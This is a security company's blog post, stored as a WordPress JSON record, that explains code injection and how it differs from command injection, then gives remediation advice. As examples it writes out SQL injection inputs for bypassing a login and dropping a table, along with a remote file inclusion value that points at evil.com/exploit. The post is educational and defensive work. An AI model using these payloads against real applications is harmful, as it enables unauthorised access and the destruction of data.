{"id":18040,"date":"2021-12-02T11:33:28","date_gmt":"2021-12-02T06:03:28","guid":{"rendered":"https:\/\/www.varutra.com\/?p=18040"},"modified":"2022-12-02T11:26:46","modified_gmt":"2022-12-02T05:56:46","slug":"code-injection-vulnerabilities","status":"publish","type":"post","link":"https:\/\/www.varutra.com\/varutravrt3\/code-injection-vulnerabilities\/","title":{"rendered":"Code Injection Vulnerabilities"},"content":{"rendered":"

<\/p>\n

Introduction to Code Injection Vulnerabilities<\/strong><\/h3>\n

Code injection is an attack where the attacker tries to inject a code that can be interpreted and executed by the application. Poor handling of data is responsible for the occurrence of this exploitation. It also means that when the user has not validated input or output data then malicious codes can be injected into the application and damage it. Here are some of the categories that are considered for validation like characters, data format, and amount of expected data.<\/p>\n

Code Injection is often confused with command injection. now let\u2019s see what a command injection is? It revolves around the execution of commands in a system shell or other parts of the environment. In most cases, command injection provides great control over the target system. The Code injection permits an attacker to insert their malicious code which is then executed by the application, while in the Command Injection, the attacker extends the default functionality of the application that executes system commands, without injecting the code.<\/p>\n

Injection flaws can be found in LDAP, SQL, NoSQL queries<\/a>, XPATH, OS commands, SMTP Headers, XML parsers, program arguments, and more. It is easier to find the flaws by examining the source code rather than testing manually. Usually, fuzzers and scanners help in discovering the injection flaws. As a result of these above-mentioned attacks, a user may encounter data loss, access denied scenario, lack of accountability, denial of access, or even lead to complete takeover or shutdown.<\/p>\n

 <\/p>\n

Different types of Code Injections and their exploits\u00a0<\/strong><\/h3>\n

SQL Injection<\/u><\/strong><\/p>\n

In SQL injection<\/a>, the syntax of SQL is used to inject commands which can simply read or modify a database to compromise the actual meaning of an original query.<\/p>\n

Exploit<\/strong>\u00a0\u2013 Let us consider a web page that has two fields consisting of username and password. When the credentials are entered, the page will generate a SQL query to verify the password that should match with the user\u2019s name in the database table.<\/p>\n

\"Credentials<\/p>\n

If credentials are matched, then access will be granted. Similarly, if an attacker enters a valid user name and injects SQL code like password\u2019 OR \u20181\u2019=\u20191 <\/strong>in the password field, the code will look like the following.<\/p>\n

\"injects<\/p>\n

Here \u20191\u2019=\u20191\u2019 <\/strong>will always be true and many rows will be returned for granting access to the user.<\/p>\n

Exploit<\/strong> – Consider another query with the following format<\/p>\n

\"query<\/p>\n

If a shady user performs the following for inputs<\/p>\n

UserID: ‘;DROP TABLE User; –‘<\/p>\n

Password: ‘OR”=’<\/p>\n

The query will be analyzed to be<\/p>\n

\"query<\/p>\n

It will remove the user table from the database. The symbol signifies the end of the command and the beginning of a new one. – – Symbol indicates the start of a comment.<\/p>\n

 <\/p>\n

Remote File Injection<\/u><\/strong><\/h3>\n

Let us take an example of the following PHP program, which includes a specific file by the request.<\/p>\n

\"Remote<\/p>\n

The example can be read-only, as color-files like blue.php and red.php could be completely loaded.<\/p>\n

Exploit<\/strong>\u00a0– Attackers might provide COLOR=http:\/\/evil.com\/exploit causing PHP to load the external file.<\/p>\n

 <\/p>\n

Impact<\/strong><\/h3>\n

If the user input fields are not sanitized, then the execution of malicious codes is permitted It will result in the execution of arbitrary code on the server. It can even result in the running of system commands on the server and making it vulnerable to injection attacks. It will result in creating an interactive shell on the system and thereby exposing it to vulnerabilities.<\/p>\n

 <\/p>\n

Remediation on Code Injection Vulnerabilities<\/strong><\/h3>\n

All the input fields should be first validated and sanitized from all kinds of potential untrusted sources, along with the Internet-facing web clients. It includes backend feeds over extranets, from multiple suppliers, partners, and more which can be easily compromised on their own and begin sending distorted data.<\/p>\n

Any code related to vulnerable functions should be avoided. Automated tools may be used to identify these vulnerable functions<\/p>\n

Considering a PHP code, some of the list of disabled functions are exec(), passthru(), shell_exec(), system(), proc_open(), popen(), curl_multi_exec(), parse_ini_file(), and show_source().<\/p>\n

 <\/p>\n

References<\/strong><\/h3>\n